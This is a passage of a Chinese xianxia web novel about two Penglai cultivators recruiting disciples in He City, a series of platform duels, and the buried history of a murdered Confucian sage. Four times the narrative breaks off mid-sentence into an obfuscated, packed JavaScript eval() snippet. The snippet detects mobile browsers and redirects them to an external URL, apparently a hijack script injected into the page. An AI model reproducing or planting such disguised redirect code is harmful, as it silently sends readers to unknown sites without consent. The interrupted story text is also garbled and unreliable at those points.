他道:“二位前辈见谅,世家子不入十四盟测试已是私底下定了的规矩…而有缘人一说太过飘渺,又怎么能压上去赌。” 什么时候定下的规矩? 邹娥皇与青度面面相觑。 何谦学看了看天色,又老成道:“进去说?” 这时这小子也不惦记着出去拜昆仑了,反倒是一脸笑眯眯的模样。 侍卫深吸了一口气,终于硬着头皮拦下来了自家少爷。 “家主有令,少爷,朝圣阁不允许女子进来。” 何谦学撇了撇嘴,“你是个什么东西在这里拦本少爷?再说下禁令不允许女子进入的不是朝圣阁,是顶头的传业屋。我和二位仙长就在一楼里说说话,碍着你们谁的事了,何苦来哉讨骂!” 何苦来哉像是这小少爷的口头禅。 侍卫被骂后就老实了,安安静静地在那里守门一声不吭。 高阁外围的装修看着很儒家,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252006|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的则很皇家。 硬要说的话,就是形容不上来的珠光宝气。 名叫言礼的书童殷勤地沏了壶好茶。 邹娥皇平静地坐在梨花椅上,慢慢摩搓着手中的瓷杯。 她总觉得,这里的一切有些莫名的眼熟。 那边的青度则是在问何谦学,“为何你们何城,对于女子禁锢这样多?” 青度这孩子直肠是直肠了点,但她毕竟是蓬莱当代大师姐,所谓大师姐,除了战力要在同龄人里拔尖之外,还要有细致入微的观察力。 这一路走来,除了旁人的指指点点窃窃私语外,最直观的就是那守卫仅仅因为她们是女子而毫不掩瑜的不屑。 她不知道什么是传业屋。 只知道若有一个地方定下什么人不能进去的规矩,也不该是这样的性别规矩。 这就是狗屁不通。 邹娥皇的问话则相对温和些,“小友,你们何家祖上的儒修可是那个圣人么?我记得他的道义是苍生有灵,大业为先。三千年前,为了护卫皇朝,陨落于世家之手的那个吗?” 语气温和,暗藏的锋芒却比青度厉害。 何家也是围攻那个儒修的世家之一,在他死后,竟以本家自居,还擅自曲解他的道义,把忠君爱民忘了,只剩下了藏在女子头上的苟蝇勾当。 但何谦学这个小少爷神色不变,他盯着邹娥皇这张平平无奇的面容了许久。 他自诩过目不忘...奇怪怎么对她就是记不起来呢? 半响,才心不在焉地回了句是,又说:“天下还有几个能以圣人自居的儒修。” “并不是何城对于女子的禁锢多,而是整个密州,何家的势力范围下。和圣人的传承没半分关系,是何家自己的意思。” 话音刚落,在一旁奉茶的书童脸色煞白,苦叫了一声少爷—— 这话怎么能和旁人说出口呢! “怕什么?她们可是蓬莱的人。”何谦学老气秋横道。 只能说看似再年幼纨绔的孩子也是世家调养出来的种,哪怕刚刚还是个混世魔王吵着闹着不念书的个性,如今又是一幅心有乾坤定气的模样。 青度好奇问:“蓬莱是什么样的人?” 何谦学说:“不掺合事。” 十几年前妖族那战,全天下人修无有不应,大宗小门,哪个不是同仇敌忾。 唯独蓬莱飞在天上,高高在上冷眼旁观。 只有一个崖山道君容有衡要救世,结果三叩道祖,却不被允诺插手大战,最后只好自断一臂下山。 青度不吭声了,何谦学却来劲了,他问:“两位仙长,恕小子冒犯,昆仑剑是最强的,蓬莱...又是靠什么和它并肩?” 邹娥皇笑眯眯:“蓬莱求道,昆仑求剑。你若一心求剑,蓬莱则居昆仑之下。但你若要寻自己的道,大道三千,只有蓬莱能给你想要的道统。” 简单来说,昆仑是只剑强,强的离谱没边。 蓬莱则是全方位发展,所以蓬莱道祖又被叫做叫天下师。 她喝了口茶后,又叫人倒满了。 装的是得道高人世外仙的模样。 何谦学果然被她这幅样子给骗了,愈来愈恭敬。 片刻后应了邹娥皇在城中心摆个论道台吸引招生的想法。 于是申时,何城人都跑出门去凑了个热闹。 8. 第 8 章 “听说了吗?这届来招生的人好热闹,竟然在中心区摆擂台——” “擂什么擂,人家摆的那个叫论道台。” “你们要去看?我可不去,两个女修能成什么气候。” 熙熙攘攘的人群,慢慢推到了城中心。 临时搭建起来的论道台有些简陋,青度寒眉笼沉地立在台上,环臂抱剑,每根头发丝儿都一丝不苟地束之脑后,威风凛凛。 台下则站着笑眯眯的邹娥皇,敲锣打鼓地吸引着众人注意。 “哎,瞧一瞧,看一看喽——” “你是否想过一剑破万法?或是想过飞到天涯海角?无论你喜欢道修的洒脱,还是法修的绚丽;无论是剑修的强大,还是佛修的容量,走过路过,不要错过!” 邹娥皇用灵力给自己扩音,大声喊道:“十四盟在何城招生,有意愿的快来看看!” “仙子,这擂台摆着是干什么的?” 人群中,一怯生生的黄衣小妞走了出来。 和别的地方的女子不同,何城的姑娘头上都是戴了个白色椎帽。 “第一,这不是擂台。” 邹娥皇伸出一只手指头摇了摇。 “这是论道台。” 没等人问她,她便笑嘻嘻地解释了起来,“所谓论道台,便是你以礼待我,我以礼论之;你以道问我,我以道还之;而你要是跟我来个擂台战的打法,却也是当然可以的。” “不过友情提示,站上台子的那一刻,所有人的修为都会被压到和最低的那个人齐平,所以我们无论是哪种形式,只论道。” “十四盟成立不过短短二十年,我知道大家对于十四盟多心有顾虑,宁愿绕个远路把孩子送到宗门里求学,或是和世家签下卖身契,都不愿意让十四盟测灵根进行统一收生。” “这不怪诸位,怪的是十四盟没有给大家一个了解的机会。” 台上抱着剑的女修威风凛凛,台下笑眯眯的女修振振有词:“所以今日我们来了,带着论道台来了。” 要让人觉得十四盟好,觉得门派好,比那些看起来卧虎藏龙底蕴深厚的世家还要好得多,那么除了干巴巴的说辞,就要给人点看头。 “你如果这么说的话,打上去也可以?”有人问。 他兴致勃勃,眼中是几乎要溢出来的野心与杀气。 显而易见,他已经是一名入了道的修士,并不在招生范围内。 邹娥皇笑嘻嘻的,“当然可以。” 她尾音未落,那肌肉如扎龙的体修就跳上了擂台,宽袖被风吹得飘飘如血。 何城远处不知何时传来阵阵读书声,衬的这男修眉目格外阴翳,“散修方芥,但求一战!” 在这座千年不变的古城里,他已很久没有看见过要打架的剑修了。 谁料下一秒,他那好不容易开阔的眉却徒然一蹙,“你撂剑干什么?” 台下邹娥皇喊了句祖宗,才好不容易接着了那祖师爷打的坎天剑,然后见一圈看戏的修士都懵逼了,这才笑眯眯地道:“谁跟你说她是剑修了?” 只见台上个头高挑的冷脸女修摆了个虎步拳的姿势,平静道:“请。” 看着对方迟迟不肯相动,青度才补了句,“蓬莱大师姐,允战。” 蓬莱? 众人心不由得微微一颤。 台下笑眯眯的女修声音也蓦然张狂一瞬:“都说了是以礼还礼,以道还道;你既然是个体修,她又焉能动剑?” 之所以说张狂,不外乎是大道三千,难道我上去一个什么旁门左道,台上那个人都能确保自己识得么。 偏偏台下这个说的又这么笃定。 蓬莱大师姐。 这五个字的份量,可见一斑。 每隔一甲子,天下宗门总会推出一个新的大师姐或大师兄代表门派。 昆仑这代大师兄,百岁不到铸成元婴,本命灵剑号逐日,魔域海上杀了个三进三出,人人都说,假以时日,必定是下一个剑皇。 和他相比,蓬莱大师姐青度实在是太黯淡,这固然和蓬莱避世有关,但也足矣说明在人们心里,她和昆仑那位小天骄,其实根本不在一个层面上。 就像蓬莱,原来是装着逼格的修真界扛把子之一,现在落寞到何九州都敢在道祖开山论道的日子寻晦气。 但于此同时也正是在这一刻,才终于有人反应过来,蓬莱没必要和昆仑比剑。 蓬莱的优势本就不是剑。 在于杂。 他们的弟子不一定比旁人学的精多少,但任你山穷水尽,他们也永远有那么一两个保命的伎俩还没使出来。 而青度。 邹娥皇抬起头,看向台上英姿飒爽的小辈。 师父有一句原话是:“待百年后我雨化成云,蓬莱可托青度。” 师父的话从不出错,哪怕他一直对外坚称,邹娥皇有一把能和剑皇媲美的剑。 蓬莱弟子万儿八千,从不会有人怀疑蓬莱道祖。 所以青度,这个明面上的大师姐,邹娥皇摸着胸口想,那可真是除了道祖外,蓬莱上最贵重的一条命了。 杂学最大的弱点是杂而不精。 而青度。 她最强的从来不是悟性,而是专注能力。 所以邹娥皇比谁都怕这小姑娘走火入魔。 …… 因为蓬莱道祖,真的活不久了。 而蓬莱要挑出一个懂事的掌门人,又太难了。 难到千儿八百年里,上一个还是战死的容有衡。 “你不用剑?娘们儿,你当你是个体修吗?” 方芥不是何城本地人,这意味着他其实没这里这么歧视女修,甚至他还贼烦那些酸不拉几的儒修。 可是,这并不意味着,他觉得女修能锻体。 半响,对面那眉眼微垂的摆着拳头的人终是笑了。 而下一秒,比方芥反应更快的的是呼啸的拳风。 那极速如风,力大如牛的拳头不带任何道理,重重落下,一击不成又迅速掉头。 方芥忒了口沾了血的牙,终于正起神色,奇道:“嘿,你这娘们还真是个体修——” 刚才若不是他反应快,那一拳下去打落的就不该是他的牙而是他的半个脑袋了。 怪道蓬莱与昆仑齐名,一般地方也养不出这么个人形杀器!看骨跟,怕连二十岁都没有。 而逆光站着的那凶残杀器,心平气和道:“我不是体修。” “也不是剑修。” “我只是蓬莱的修士。” “等你们来了蓬莱,就会明白,修什么只是一种手段,不该被定义,你可以说我修体,但不能说我是体修。” 一开始底下人都在笑,觉得这话怪里怪气。 唯有少数的几个姑娘隔着幕僚薄纱眼镜不约而同地亮了下,其中有个,邹娥皇多看了会,才发现她在给另一个人打手语。 只是不是通行的手语。 硬要说的话,像自创的几个字符。 但不管台下如何,台上已经打起十二分戒备的方芥竟猝然发现,哪怕面前这个人和他一齐被压制在了筑基中期,哪怕她甚至没用任何外力,一拳一势下总是在把他压着打。 直到打的他心底的冷汗几乎要浇灭了那本就不多的战意,这凶残的女修方停手,再没多看一眼躺在地上喘气的他,轻飘飘地将他踹了下去。 “下一个。” 方芥闭上眼,他隐隐有预感,这个女修,将来会很厉害,很厉害。 他只是她手下败将中的一个。 台下,邹娥皇不知道何时掏出了一把木墩坐着,一边嗑瓜子一边解说。 “啊,这个上场的是个儒修,啧啧啧,倒是个真有风度的,还知道先说声一声讨教——” 下一瞬,就见刚跳上台子的儒修,要同青度论一论的儒修,直接被惊呆了。 原因无他,要知道儒修这东西最宝贵的就是字,若能掌握一个字法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252007|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,也就代表了基本上是入门了,能掌握三个的,那已经是半道途上了。 这台上的儒修不过只有两个字,有个还只亮了几个笔画,就畏畏缩缩地浮在半空中。 而青度,只是挥了挥手,半空中就骤然放射出四个金光闪闪的大字——忠、义、信、责。 谁胜谁输,一目了然。 底下的嘘声也骤然缩了一半。 邹娥皇掏了掏耳朵,“下一个,剑修——” “下一个,法修——” …… 原先那些打定主意要大展身手的人此刻不约而同都沉默了,就是再是个傻子也明白了台上的人绝非池中物。 蓬莱从不说轻狂话,爱吹牛的其实是昆仑。 “下一个,”邹娥皇抬眼,却是一乐。 “这次上场的是占星师,哎呦,这可不就是撞到我们蓬莱的老本行了么?” 邹娥皇微微笑。 大道三千,总有一道生来就是为了坑蒙拐骗的。 而在邹娥皇心里,这样的道就是占星术。 但除了她之外,剩下的人神色却都有些懵然。 占星师?这是什么? 能打人还是跑得快? 不过听起来,好像是有些厉害啊,毕竟是蓬莱的老本行。 于是底下的人不约而同地仰起星星眼,想看一看刚才那个大杀四方的女修的老本行又该如何惊艳。 下一秒却看见青度干脆撂担子:“我不会。” 邹娥皇原本笑嘻嘻的嘴角瞬间消失,就听见青度清冷地同她传音道: 师叔,我师父没教我这个还,他说这个用不上。 鱼蛋! 你他丫的—— 邹娥皇认命地叹了口气,她低眉看了看原本已经摩拳擦掌准备拖家带口去十四盟选拔的人群,个中再度出现了那么几个不是很和谐的声音。 算了。 师叔的作用,不就是擦屁股的吗? 青度眉目如往常一般的平静,作为蓬莱的大师姐,她上的第一课不是道也不是剑,而是喜怒不形于色。 但饶是这样,刀山火海不曾让她面目有过半分哑然的大师姐,在看到自己的师叔轻轻抬手同她换了位置后,一瞬间台上台下颠倒了个。 青度幽深的眸里,仍有一瞬间的怔然。 蓬莱人常见道祖的威能余韵,常见小师叔的绝色美貌,常见这世上不常有的绮丽风景,但是蓬莱修士,唯独不曾见过这辈分大道行浅的二师叔出手过。 他们只知道老祖说过一句话。 “若是有一天,我不在了,容有衡也不在了,你们就去找你们的邹师叔,没人能在她眼皮子底下杀人。” 那时他们不知道邹二师叔到底是天才还是废材。 因为自他们有记忆起,这拔不出剑的师叔就一直和背后背的那一把厚布剑死磕。 可他们知道,这邹师叔,一定有什么别的保命招。 论道台上,气浪涛涛。 那眉目平平的邹二师叔似笑非笑地抬眼。 粗糙磨砺的茧手上张开,上面骤然投射出一个光彩照人的法盘。 “占星师,我替她来看看,道友恐怕不介意吧?” 不远处,那座高阁的第八层。 半大点的何谦学一拍脑门,踮着脚就要从窗上摔下去,身后的书童死命地抱住他。 “我知道了,我想起来了!” 那个锦衣玉食供起来的小少爷目光里透出了几分不符合年龄的谋算,他轻轻呢喃道:“原来是在圣人的画上,曾见过。” 他终于想起来,为何一见邹娥皇就会觉得眼熟。 高阁名叫朝圣阁,朝的是何家认祖的那个圣人。 共有十层,最高层名叫传业屋。 在传业屋放了十幅画,其中有三幅画上,都出现了一个背着黑布剑的玄道袍女修。 面目平平无光,令人见之即忘。 就如今朝。 9. 第 9 章 三千年前的何城,并没有什么世家独大,倒不如说皇朝末年的世家,就像是没长齐爪牙的小猫,虽会挠人,却是不疼的。 三千年前的密州,也绝不是如今的这片绿洲之地,相反,寸土寸荒,民不聊生,全是荒芜。 若说为什么造成了这一切。 大约是因为,三年前的有一日,这片土地上,死了个很了不得的人。 有人的死是仇者快亲者痛,有人的死是枯草无人在意;还有的人死了才被发现,原来这荒芜、灵气稀少的密州,竟然也有一个顶天立地的大乘。 这样的死,自然是独一份的了不得。 朝圣阁传业屋虽然上面放了十张画,但只有最后三张,才是被画师亲眼看着画完的,也就是说,前面几张不过是前人的猜测。 什么初出山门志得意满,又是什么一朝显赫天下扬名;什么桃李满天下,又是什么天下宗师,都是假的。 前面那七张画,通通都是假的。 唯有最后三张,吐着血笑得快意的儒修,同他身旁那个拔不出剑却还在白费功夫的女剑修,才是真的。 唯有最后那三张,改变了整个密州的那一场浩大的死,才是真的。 而他们何家和那位圣人之间唯一的联系,除了这么一个姓氏,恐怕也就只剩下了杀身之仇。 最后这三张画,浓墨重彩的几乎要和前面这几张隔开,凄惨悲凉的仿佛人间炼狱,然后流近了满地的血,最后死的不过也只有一个人。 何谦学眨了眨眼。 一时之间竟想不起那个圣人叫什么名字。 何...何言知? 是这个么。 在昏君被妖妃刺杀后,十四州风云鹤起的年代,昏黄的书院里终于摇摇晃晃地走出来了一个穿着青衫的书生。 他是人们见过的第一位大乘儒修。 在此之前,儒修的诞生本就是为了辅佐帝王道,也就是说,大道三千,儒修在一开始,其实并不被列为道的行列。 人们把儒看做天子的爪牙,而不是一个道统。 就连如今打着圣人本家名号将书院开到密州遍地的何家,一开始也不是学儒的,而是个三流的炼器世家。 所以没人会想过,在那个大乘不过几个指头的年代,衰微没落的儒道,竟会突然从石头蹦里跳出来一个大乘。 离飞升半步之遥的大乘。 “小生何言知,所问无言不知。” 笑眯眯的书生撩起袍子,坐在了天下修士夺取密州令的必经之路上。 密州令是密州的气运所在,若要推翻皇朝,密州令或不可缺。 而他的身后则站了个沉默的背剑姑娘,不会笑,也不会动。 一双眼珠子是木的。 其实当时的聚集起来夺取密州令的修士,不过也就是一群见利起义的乌合之众,要趁着皇朝动乱,在这里面分一杯羹。 当看到那么一个大乘笑眯眯地坐在那里时,威压一泄,大多数人的反应都是逃。 逃—— 逃的越快越好。 所以何谦学面前的那张画上,除了一个背剑的女修,一个席地而坐的圣人,就是一群御剑逃窜的乌合之众。 ——何家真正的老祖自然也在这乌合之众里。 何谦学其实一直在想,不知道当时是哪个有胆色的画师没有跑而是画下来这三幅画,但无论如何,一定不是他们何家的画师。 不然为何要将他们自己老祖画的这样獐头鼠目,惹人发笑。 踮起脚的小公子又慢慢地摸上了旁边的两张。 剩下的两张,一张是那儒家圣人在那里传道。 还有一张是那圣人被人掏了元丹,散尽灵气,渡得这荒芜的密州终于焕发生机,成了如今天下耳熟能详的第九州。 三张画上,一直背着剑呆木的女修始终不曾退后,也不曾为圣人挡剑。 她只是立在那里,见证了一场天地间最浩大的戏幕。 而最后那张掏了圣人元丹在那里痴痴狂笑的人,獐头鼠目,是他们何家老祖。 所以传业屋乃至整个朝圣阁,都绝不允外人踏进来半步。 ——若要旁人知道,如今继承了那位圣人遗泽,以圣人本家自居,在密州吃香喝辣,翻云覆雨的何家,正是昔日里杀圣人的罪魁祸首,不知那些个何家书院,还能否再办下去。 大乘求生是很容易的,求死却很难。 那位圣人是怎么死的呢? 何谦学听过好几个版本,最后却是他那参与了全局的狡诈老祖,得意洋洋的摸着他的头,告诉了他真相。 大乘求死是很难的。 难到这圣人要忍着浑身三千六百下千刀万剐的痛意,绷着全身魂识,不得出手一下。 他稍微抚一抚袖子,可能就要震碎一群人的灵脉。 好在,圣人一直没出手。 那位圣人说:“我学儒家术,为佐帝王侧。可如今龙脉已断,一身本事,却挺于此步。” 那圣人叹了口气。 “言知是有不甘。” 那圣人又有些洒脱。 “为君,我不能不拦你们;可匡扶着这样的一个蛀虫朝代,又和我的道义不符。或许我本该修行的就不是儒术。” 那圣人悲悯的低头,看着这一群被吓到四处逃散的人道: “我活着,你们是不能拿密州令的。” “但你们来杀我,我也是不能反抗的。” “君为刀俎,我为鱼肉。” 那圣人最后轻飘飘道,然后拱手让礼。 何谦学记得,他老祖是如何得意洋洋的同他讲这些细节,什么白刀子进红刀子出,什么原来大乘的修士肉身也和凡夫俗子不同,又是如何从众人手里抢过那枚元丹,为将来的何家复兴打下基础。 何谦学记得,他老祖指着这朝圣阁的传业屋,告诉包括何谦学在内的何家嫡系七个小辈,那元丹就在这传业屋里,只要有人得到圣人残魂的认同,就能继承了圣人的一生灵力。 何家中兴这两千年来,从没有人到达过大乘,甚至最高的不过也只是老祖那个合道期。 若有人能够融了这颗元丹,无异于直接成为了何家的最强战力。 没有人不会心动。 哪怕是日日夜夜吵着不愿意读书的何谦学也一样。 毕竟他只是个任性的少爷,不舒服不得劲了要让全天下的人来给他赔罪;但并不是个烧坏脑子的傻子,真要和他那些个不被允许读书的姐姐妹妹们交换处境。 他渐渐停止了要跳出窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252008|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的挣扎,书童言礼便松了口气,总算放下了手。 “少爷,您在看什么?” 何谦学回神,摇了摇头。 “老祖出关了吗?”他随口问。 其实他一直有个猜测,若要得到这元丹的传承,或许那画像上一直紧随左右的女修,就是至关重要的一环。 ... 论道台上,戴着黑斗篷的占星师抬起了头。 对面的邹娥皇咦了一声—— 占星师这门术法有多邪乎她是知道的,要不然也不能让外人闻所未闻。 但是有多没用,她也是知道的。只能说是辅佐修行的一个小手段,谈不上什么大神通...不过练了这个的人,在外观上最明显的改变就是—— 若说寻常人的眉眼鼻都像天上的星辰一样,轨迹万年供人观测;那么占星师这群人,越是学有所成的,面目则越若平平,不一定是他们生来就平平,而是他们的面目也好五官也罢,都像是星辰被云雾遮掩,只留下了平平。 而对面的这个人,才筑基中期。 邹娥皇竟已经看不清他的半张脸的星轨了。 所谓占星术,其实不过是以天上星轨为推导,但既然说是小手段,这就说明了注定是有什么弊端和短板的,譬如说,所谓的星轨推演,并不能推演未来,只能推演过去。 然后在千丝万缕的过去中,占星师自己择出一个最有可能的未来。 所以这样的小法术,很少有人当做本职去修。 哪怕在蓬莱,以占星术闻名的蓬莱道祖治下,这门小法术,也已经没落到了青度虽为当代大师姐,君子六艺无一不通,却唯独没学过这个。 邹娥皇算得上是一个例外。 如今她又遇到了另一个例外。 她轻轻笑:“道友从哪里来的?” 黑斗篷噗嗤一笑,“我不是你道友。” “来往皆是客,相逢就是缘。我观你和我有缘,怎么不算道友。”邹娥皇温声道。 黑斗篷歪头,他声音出乎意料的年轻,衬得那黑色邪恶的斗篷都有些天真。 “是么?” “但是你连星盘都不是自己的,是从别人手上夺的,怎么配叫我这声道友?” 他这句话声音压的很低很低。 低到只有近在咫尺的邹娥皇才能听清。 她神色不变,甚至莞尔一笑。 半分没有被指责拆穿的慌张。 邹娥皇有一双很漂亮的手。 所谓漂亮,并不是指手和白玉一样无暇。 恰恰相反,她的每只手上都有茧子,像一个剑修该有的茧子——哪怕她的剑拔不出来。 但正是因为这些疤痕,成了这双手的勋章。 才让这白皙抽长的手,多了那么几分莫名的风情。 此刻,她矜持地伸出了左手。 手心朝上,琉璃般透明又荡彩的星盘慢慢地在一寸半空中晃悠。 接着慢慢地飞出手心。 星盘旋转,繁星飘荡。 但诚如这黑斗篷所说,这么漂亮的星盘,一开始并不是她的。 甚至你仔细看这个星盘,你会发现这上面的满天星轨,很像一道密钥。 能打开这世间最宝贵的宝物的密钥。 10. 第 10 章 “继承别人的星盘,要有两个条件,一是原主魂飞魄散,二是两人因果要牵扯足够,星盘才有一定轨迹重合...一般这样的情况下,夺星盘者与被夺者就算不是亲朋好友,也绝不该是泛泛之交。” 那黑斗篷声音隐约有些讥笑,“单拆开来看倒还好,合在一起...一个杀人夺宝忘恩负义的小人形象可就跃然纸上了,我怎么敢应了您这声道友。” 青度听了个开头就知道不是什么好话,立刻掐了避听诀,好叫旁人听不见黑斗篷都说了什么。 而台上的当事人,还是平平静静的。 戳心窝吗? 邹娥皇低头抚平了衣摆。 她早就不是那个刚穿过来听了一些个风言风语就要找人拼命的姑娘了。毕竟,几千年来人嘲讽她的话都不计其数了,要一个个去纠正未免太闲的。 只是在密州这个地方,提起赠她星盘的那个人,她总是有几分的...厌烦或是难过。 认识何言知的的时候,邹娥皇没想过这是一个儒生。 就像是最后何言知死的时候,邹娥皇没想过最后继承了他的星盘的人,竟是自己。 两人初见的时候是在蓬莱山上。 那个时候的邹娥皇还没被人折了剑,正处于不知天高与地厚的年龄,整座蓬莱山,老祖闭关,师兄远走,她就是唯一的霸王。 而何言知,这个日后人人都尊称一句圣人的先贤,当时不过也只是个二十七八的小子。 那个时候是蓬莱山刚刚被老祖劈上天,还不太稳定,总会晃晃悠悠的落到地上去。 有一次刚巧落到了地上。 春风吹,莹草长。 一切刚刚好。 大周开国天子祭祀的步撵慢悠悠的路过,车轱辘撵上了山道,说要拜访一下蓬莱道祖。 其实天子的步辇从没有无缘无故路过的道理,说白了不过就是当时皇权和以蓬莱道祖为首的大能修士之间的博弈——毕竟,大周的开国天子不仅是皇帝,还是有史以来第一个合道的帝王。 要知道那可是五千年前的合道。 当时的蓬莱道祖,不过也就是个合道。 而开国天子想要做的事情,则是要向众人证明,哪怕是飞在天上的蓬莱岛,也会有落在地上的一天;哪怕是跳脱五行之外的蓬莱道祖,也是他大周的臣民。 理应对天子俯首叩拜。 之前历代皇帝做不到的事情,到了这代大周开国天子身上,终于有了实现的可能。 邹娥皇就是在那个时候看见何言知的。 他在天子步撵旁,是近侍之一。 这个后人眼里从石头缝里蹦出来的儒修大能,年轻的时候也曾光辉灿烂过,是年纪轻轻的开国第一位状元郎,是天子近臣,是美哉风流少年郎。 只是后来于时间的长廊中,他来过的痕迹,逐渐被人抹平,唯剩了那抹不平的一死。 太凄惨,太壮烈。 十八岁的邹娥皇拿着的剑从来没有剑鞘,永远都是雪的白,她肆无忌惮的立在半山腰上,把宽松的玄袍道服用柳枝绑了好几道勾勒出纤细的腰肢。 她持剑,问他们来者何人。 矜贵的天子在步撵里半躺着身,恍若未闻。 只有忍俊不禁的近侍,笑眯眯地问她是哪家的土匪,拿着把出了鞘的剑就敢在这里挡路,知道这是谁的路就挡么。 那个出声打趣的近侍自然就是何言知,而他已经猜出了邹娥皇的身份,只当不知。 邹娥皇当时是听不得这样的话,她皱着脸,想管是谁要上山,没道祖请帖就不准。 哪怕是天王老子来了也一样—— 于是一言不合,就拔剑而起。 她搅碎了他的碎发,而他则借力打力,用竹书敲断了她的膝盖骨,让她跪在了天子步辇前。 ——许多年后,邹娥皇想起这日的时候,才后知后觉地看出了,原来那天何言知在让着她,才叫她一剑搅碎了他鬓边的垂发。 要不然,她压根碰不到他一根手指头。 好在史官的着笔一向很是吝啬,关于那一日,只记下了大周开国皇帝和老祖上山拜访道祖论道后徒生心魔,不久后一代合道郁郁而终。 至于邹娥皇与何言知的这一战,籍籍无名到翻不出半点水花。 后来再次遇见的时候,是邹娥皇隐姓埋名下山去游历,那个时候她背上的剑已经拔不出来了。 偶然路过了密州刺史的婚宴,她跟着混进去蹭了满嘴的饭油。 “慢些吃,别噎着。” 身边的人贴心地给她递了张擦嘴的纸。 邹娥皇道了声谢谢,抬起头看去才发现递纸的人有些眼熟。 昔日是天子近臣风光无两的何言知,十几年白云苍狗一别后,再次相见竟然是在嘈杂的婚宴上,从天子近臣变成查无此人,穿了一身洗的发白的儒衫,蹲在宴席末端,和她一样奔着几口饭食而来。 不过邹娥皇和他算是五十步笑百步。 她亦从未来可期的天之骄子,变成了背着剑的废人。 只是邹娥皇没想到,这人的嘴欠竟然是天生的,和高峰低谷没什么联系。 何言知眉开眼笑地对她说:“听说你剑拔不出来了?” 她这下是真被噎着了。 就着他递过来的茶水顺了口气,然后缓缓说:“你还有脸提这事!” 何言知大惊,“这关我什么事?咱们不就见了一面吗?你不是被宴霜寒折了剑心吗?” “是啊,”年轻的邹娥皇理不直气也壮,“我是被他折了剑心不假,但要是我去天骄宴前一天没遇着你,你没把我膝盖骨敲碎了,我第二天保准能赢。” “到时候,”她补道,“说不准就是那疯子被我折了剑心。” 何言知听了她这句话后哈哈大笑了阵,然后因为太吵了,两个人一块被提溜请出了宴席。 于是同逢低谷的两个人竟阴差阳错,磕磕绊绊地搭伙走了一年的道儿。 熟了后,有时也会闲聊。 听何言知说,他是一个小世家的旁系,一出生来就因为天赋好碍了本家少爷的眼,被人扔了出去自生自灭。 “天寒地冻,是一个老乞丐养我养到了七岁,等我七岁的时候,我才知道那老乞丐原来曾经认过字,考过举,但被人顶替了身份,告天天不应,告地地不灵,于是便疯了,直到他捡回了我,要养着我,让我去替他做大官。” 何言知看着很俊,是风雅的俊,像抽了节的竹子,贵气又清华,又像是天上的月光,悲悯着这人世间风景。 他生的最好的地方还在眉心,有朵莲花一样的胎记。 若有仙人,那仙人合该就是这样。 而不是一个老乞丐养大的乞儿。 但邹娥皇不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252009|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么信了他的话,大约是因为见过他在宴席上吃饭,吃的时候把猪肘子往嘴里塞硬生生的啃,只有饿怕了的人才能有这样的反应。 “老乞丐的本事很少,就一点点。我八岁那年就无师自通了,”何言知笑的欠扁,有种没心没肺的疯感。 “那个时候我就想,他说不准是真的只是科举落榜了,而不是被人替了身份。” “后来老乞丐死了,我认识了同村的放牛娃,知道自己能修练,我们便向东走,要去找山头拜师。最后师没拜成,那个放牛娃的媳妇死了,被官家人看上逼死了...” 他何止是能修炼,邹娥皇心想,天赋算得上是佼佼者,就比宴霜寒差了一点。 但何言知自己应该不这么觉得。 因为大周的开国皇帝,那个死了媳妇的放牛娃,活着的时候是个四十多岁的合道。 是闻所未闻的天资绝绝。 甚至那本《踏破蓬莱第一剑》的书里,方半子的师父都特意提过一嘴,说方半子的修练速度比旁人快,但比起大周开国皇帝,那就没眼看了。 连主角方半子都如此。 在这样的人身边呆久了,何言知也仅仅只算能修练罢了。 何言知:“后来的故事其实你都知道了,放牛娃成了皇帝,我成了天子近臣,大周第一个状元郎。” 邹娥皇听了这话后心中莫名一动,她撑着下巴趁着月光看这个落魄的书生。 按理来说何言知如今该是苦尽甘来。 开国功臣,高阶修士,年纪轻轻状元郎,这三个词里随便选哪个,都够他在不夜城里做个红袍加身的大官。 为什么呢? “因为周平死了。” 何言知平静地回答了她的疑问。 